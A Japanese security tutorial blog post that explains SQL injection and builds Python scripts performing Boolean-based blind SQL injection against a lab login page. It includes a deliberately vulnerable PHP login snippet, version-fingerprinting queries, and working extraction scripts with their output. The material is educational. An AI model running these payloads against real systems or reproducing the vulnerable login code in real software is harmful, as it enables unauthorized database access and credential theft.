前回([Python] Pythonとセキュリティ – ②Pythonで作るポートスキャニングツール)でPythonを利用して簡単なポートスキャニングツールを作ってみた。
今回はウェブ脆弱性の中で重要度が高い「SQL Injection」の理解を深める為、SQLインジェクションツール を作ってみよう。
許可を得ていない対象に実施するのは犯罪です。当該の記事で問題が発生した場合、弊社では一切責任を負い兼ねますのでご了承ください。
SQL Injectionは「Injection」攻撃の一つの種類で、クライアントの入力値がサーバのデータベースに送信され、データーベースの操作、破棄、漏洩などを行う攻撃方法である。攻撃方法の難易度は低いがデータベースを直接攻撃するため、被害が大きい攻撃である。このようなInjectionの脆弱性の場合、スキャニングツールなどで発見される場合が多いため、ウェブの担当者は必ず完成されたウェブページにスキャニングツール等を利用して「Injection Vector」を事前に把握し、改善する必要がある。
Injection VectorとはSQL Injectionが挿入できるところである。
主にGET, POSTのメソッドのパラメータや、HTTP RequestのMessage Headerなどがある。
SQL Injectionは主に「Non-Blind SQL Injection」と「Blind SQL Injection」二つがある。
また、Non-Blind SQL Injectionには「Query Result SQL Injection」と「Error Based SQL Injection」
Blind SQL Injectionには「Boolean-Based SQL Injection」と「Time Based SQL Injection」がある。
一般的に発生する原因はウェブページからデータベースに値が送信される際、SQLコマンドとして認識される値が検証されていないため、発生する場合が多い。
もし、下記の様にログインをチェックするコードがあると想定してみよう。
<?php
$id=$_POST["id"];
$pw=$_POST["pw"];
$SQL="SELECT * FROM info WHERE id='$id' and pw='$pw'";
$query=mysql_query($SQL,$DB);
$query_arr=mysql_fetch_array($querry);
if($rs_arr){
header('Location: main.php'); //ログイン成功
} else {
header('Location: login.php'); //ログイン失敗
}
?>
POSTで入力されたIDとPASSWORDはそれぞれ「id」と「pw」の変数に保存されて、SELECT文を利用して、データベースに照会する。その結果を「if」文を利用して、結果がある(1, True)場合、main.phpに移動させる。結果がない(0, False)場合、またlogin.phpに移動させるコードである。ログインの成功、失敗の動作もしているし、別に問題はなさそうだが実は大きな問題とみられるのが二つある。
1つ目は、入力されたIDとPWの検証を行っていない。ここで検証というのはIDとPWにSQLで利用する記号(「’」、「”」「#」など)に対して適切な変換または入力禁止とすることである。
2つ目はログインの成功失敗の判断が以下の通り、データベース参照結果のTrueとFalseである。
$query=mysql_query($SQL,$DB);
IDとPWを探すSELECT文を単純にデータベースに投げて
$query_arr=mysql_fetch_array($querry);
その次、データがある、つまりIDとPWがデータベースに一致したものがある場合、戻り値として1を返還する。
このようにそのIDとPWが本当にデータベースにあるかとは検証せずに、ただ戻り値が1であればログインの検証が終わってしまう。
ウェブページから使用されているデータベースは主に3つ(MY-SQL, MS-SQL, Oracle)がある。
基本的なSQL文法は似ているが、異なる文法があるため、まず、ウェブサーバがどのようなデータベースを使っているか確認が必要である。
確認方法ではウェブサーバが使用しているWASからの推測がある。
ASPやASP.NETの場合、「MS-SQL」
PHPの場合、「MY-SQL」
JSPの場合、「ORACLE」で推測できる。
データベースのバージョンを確認することで、当該のバージョンが持っている脆弱性を利用することも可能である。
データベースのバージョンはInjection VectorにSQLバージョンを確認するクエリ文を投げて確認する。
SELECT VERSION();
SHOW VARIABLES LIKE 'version';
SELECT @@version
SELECT @@version
SELECT * FROM v$version WHERE banner LIKE 'Oracle%';
SELECT * FROM v$version;
SELECT * FROM PRODUCT_COMPONENT_VERSION;
上記でSQL Injectionの発生原因を調べてみた。SQL Injection攻撃はそのような脆弱な検証を利用して攻撃を行う。
今回は事前に作った脆弱性があるウェブページを利用してSQL Injectionの脆弱性を確認するツールを作ってみる。
ここでは「Boolean-Based SQL Injection」の方法を利用する。
まず、「requests」モジュールを利用する
「request」モジュールはPythonからパケットを送信してくれるモジュールである。
まず、ログインの成功と失敗の動作はどうなってるか確認してみよう
【▲ ログインに成功すると、メニューが表示される】
【▲ ログインに失敗すると、エラーメッセージが表示される】
これで、ログインに成功するとメニュー画面がでて、ログインに失敗するとエラーメッセージが表示されるのを確認した。
また、URLにIDとPWのフォームデータが送信されることで、GETメソッドを利用してサーバに送信されるのも確認できた。
まず、IDとパスワードを調べるために、IDの長さを求めるコードを作成しよう。
今回は、精密な SQLインジェクションツール の作成が目標ではないため、データベースの保存されているIDを探すことのみソースコードとして作成してみる。
また、データベースに保存されいてるIDの中で一番長さが短いIDと限定する。
import requests
url = 'http://172.16.1.105/login_check.php'
length_id = 0 #IDの長さを保存する変数
while True: #IDの長さが20桁まで検証
length_id=length_id+1 #1桁ずつ増やす
sql = "' or char_length(username) = %s; #" % length_id #データベースのusername行の長さをチェックするSQL文を入れる
para = {'id': sql, 'pw': '1'} #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
send = requests.get(url,params=para) #パケットを送信する
status_code = send.status_code #サーバの応答コードを変数に保存する
if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
print("ステータスエラーです。")
break
#本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さが合っているので長さを表示させる
if "パスワードが正しくありません。" in send.text:
print("IDは%d桁です。" % length_id)
break
IDは2桁です。
>>>
次は、IDの長さを参考して、IDを調べてみよう。
import requests
url = 'http://172.16.1.105/login_check.php'
length_id = 2 #IDの長さを保存する変数
string_id = "" #IDを保存する変数
for len in range(1,length_id+1):
for ascii in range(97,123): #小文字a~zのASCIIコードをループさせる
#データベースに保存されている文字列と長さを比較してTueを探す
sql = "' or ascii(substring(username,{},1)) = {} AND char_length(username) = {}; #".format(len,ascii,length_id)
para = {'id': sql, 'pw': '1'} #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
send = requests.get(url, params=para) #パケットを送信する
status_code = send.status_code
if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
print("ステータスエラーです。")
break
#本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さや文字列が合っているので変数に保存する
if "パスワードが正しくありません。" in send.text:
string_id+=chr(ascii) #string_idの変数にASCIIコードをCHARデータがたで保存する
print("データベースに保存されいているID:%s" % string_id)
データベースに保存されいているID:yu
>>>
最終的に二つのソースコートを合わせて作ってみよう。
import requests
url = 'http://172.16.1.105/login_check.php'
length_id = 0 #IDの長さを保存する変数
string_id = "" #IDを保存する変数
while True: #IDの長さが20桁まで検証
length_id=length_id+1 #1桁ずつ増やす
sql = "' or char_length(username) = %s; #" % length_id #データベースのusername行の長さをチェックするSQL文を入れる
para = {'id': sql, 'pw': '1'} #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
send = requests.get(url,params=para) #パケットを送信する
status_code = send.status_code #サーバの応答コードを変数に保存する
if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
print("ステータスエラーです。")
break
#本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さが合っているので長さを表示させる
if "パスワードが正しくありません。" in send.text:
print("IDは%d桁です。" % length_id)
break
for len in range(1,length_id+1):
for ascii in range(97,123): #小文字a~zのASCIIコードをループさせる
#データベースに保存されている文字列と長さを比較してTueを探す
sql = "' or ascii(substring(username,{},1)) = {} AND char_length(username) = {}; #".format(len,ascii,length_id)
para = {'id': sql, 'pw': '1'} #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
send = requests.get(url, params=para) #パケットを送信する
status_code = send.status_code
if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
print("ステータスエラーです。")
break
#本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さや文字列が合っているので変数に保存する
if "パスワードが正しくありません。" in send.text:
string_id+=chr(ascii) #string_idの変数にASCIIコードをCHARデータがたで保存する
print("データベースに保存されいているID:%s" % string_id)
IDは2桁です。
データベースに保存されいているID:yu
>>>
データベースに直接クエリを投げた見た結果、御覧のように実際存在しているIDということが確認できた。
【▲ 2013年から2017年のOWASP TOP10変化】
ご覧のように、2017年にもOWASP TOP10の1位は「Injection」攻撃になっている。SQL Injectionを含め、Injection攻撃は攻撃原理、攻撃方法は単純であるが、その被害が大きいため、ハッカーから愛されている攻撃でもある。
今回はPythonでSQL Injectionツールを作ってみた。前もって作成していた脆弱性のページであり、データベースの構造を知っているため、通常よりも簡単で作成できたかもしれないが、セキュリティやシステムの担当者はこのように短いソースコードでSQL Injectionのツールが作れることに深刻性を気付いて万全な準備をする必要がある。
2020年02月18日 – :sunny:[Python] Pythonとセキュリティ – ②Pythonで作るポートスキャニングツール
2020年02月14日 – :sunny:[Python] Pythonとセキュリティ – ①Pythonとは
Written by CYBERFORTRESS, INC.
Tweet